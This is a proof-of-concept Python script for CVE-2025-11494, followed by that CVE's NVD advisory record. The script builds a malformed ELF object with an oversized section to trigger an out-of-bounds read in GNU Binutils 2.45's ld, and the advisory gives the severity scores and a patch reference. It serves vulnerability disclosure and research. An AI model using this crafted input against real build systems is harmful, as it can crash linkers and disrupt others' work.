CVE-2025-11494

# CVE-2025-11494 PoC - Trigger OOB read in _bfd_x86_elf_late_size_sections # This PoC creates a malformed ELF object file that triggers the vulnerability # when processed by GNU Binutils 2.45 ld linker. import struct import sys # ELF64 Header constants for x86-64 ELF_MAGIC = b'\x7fELF' ELFCLASS64 = 2 ELFDATA2LSB = 1 # Little endian ET_REL = 1 # Relocatable file (object file) EM_X86_64 = 62 # x86-64 architecture EV_CURRENT = 1 def create_malformed_elf(output_path): """Create a malformed ELF file to trigger OOB read in _bfd_x86_elf_late_size_sections""" # ELF64 Header (64 bytes) e_ident = ELF_MAGIC + struct.pack('BBBBBxxxxx', ELFCLASS64, # EI_CLASS: 64-bit ELFDATA2LSB, # EI_DATA: Little endian EV_CURRENT, # EI_VERSION 0, # EI_OSABI 0 # EI_ABIVERSION ) e_type = ET_REL e_machine = EM_X86_64 e_version = EV_CURRENT e_entry = 0 e_phoff = 0 # No program headers for object file e_flags = 0 e_ehsize = 64 e_phentsize = 0 e_phnum = 0 # Place section headers right after ELF header e_shoff = 64 e_shentsize = 64 # Size of section header entry # Create multiple sections to trigger the vulnerability # Include malformed section indices to cause OOB read e_shnum = 5 # Number of section headers e_shstrndx = 4 # Section header string table index elf_header = e_ident + struct.pack('<HHIQQQIHHHHHH', e_type, e_machine, e_version, e_entry, e_phoff, e_shoff, e_flags, e_ehsize, e_phentsize, e_phnum, e_shentsize, e_shnum, e_shstrndx ) # Section headers # SHT_NULL section (index 0) sh_null = struct.pack('<IIQQQQIIQQ', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ) # Malformed section with abnormal size to trigger OOB # This section will cause _bfd_x86_elf_late_size_sections to read out of bounds sh_malformed = struct.pack('<IIQQQQIIQQ', 0, # sh_name 1, # sh_type: SHT_PROGBITS 0x3, # sh_flags: SHF_WRITE | SHF_ALLOC 0, # sh_addr 0, # sh_offset 0xFFFFFFFF, # sh_size: abnormally large size to trigger OOB read 0, # sh_link 0, # sh_info 1, # sh_addralign 0 # sh_entsize ) # Additional sections sh_symtab = struct.pack('<IIQQQQIIQQ', 0, 2, 0, 0, 0, 0, 0, 0, 0, 0 # SHT_SYMTAB placeholder ) sh_strtab = struct.pack('<IIQQQQIIQQ', 0, 3, 0, 0, 0, 0, 0, 0, 0, 0 # SHT_STRTAB placeholder ) # Section string table with names strtab_data = b'\x00.malformed\x00.symtab\x00.strtab\x00.shstrtab\x00' sh_shstrtab = struct.pack('<IIQQQQIIQQ', 0, 3, 0, 0, 64 + 5*64, len(strtab_data), 0, 0, 1, 0 ) # Assemble the file elf_data = elf_header + sh_null + sh_malformed + sh_symtab + sh_strtab + sh_shstrtab + strtab_data with open(output_path, 'wb') as f: f.write(elf_data) print(f"[*] Malformed ELF file created: {output_path}") print(f"[*] File size: {len(elf_data)} bytes") print(f"[*] Use 'ld' from GNU Binutils 2.45 to trigger the vulnerability:") print(f" ld {output_path} -o /dev/null") if __name__ == '__main__': output = sys.argv[1] if len(sys.argv) > 1 else 'malformed.o' create_malformed_elf(output)

{"cve": {"id": "CVE-2025-11494", "sourceIdentifier": "[email protected]", "published": "2025-10-08T20:15:34.770", "lastModified": "2026-05-12T13:16:29.017", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in GNU Binutils 2.45. Impacted is the function _bfd_x86_elf_late_size_sections of the file bfd/elfxx-x86.c of the component Linker. The manipulation results in out-of-bounds read. The attack needs to be approached locally. The exploit has been made public and could be used. The patch is identified as b6ac5a8a5b82f0ae6a4642c8d7149b325f4cc60a. A patch should be applied to remediate this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:N/I:N/A:P", "baseScore": 1.7, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "LOW", "exploitabilityScore": 3.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-125"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:binutils:2.45:*:*:*:*:*:*:*", "matchCriteriaId": "60CBCA58-29DE-4A0A-BAF0-D0188FAF4884"}]}]}], "references": [{"url": "https://sourceware.org/bugzilla/attachment.cgi?id=16389", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://sourceware.org/bugzilla/show_bug.cgi?id=33499", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://sourceware.org/bugzilla/show_bug.cgi?id=33499#c2", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=b6ac5a8a5b82f0ae6a4642c8d7149b325f4cc60a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://vuldb.com/?ctiid.327619", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327619", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.66 ... 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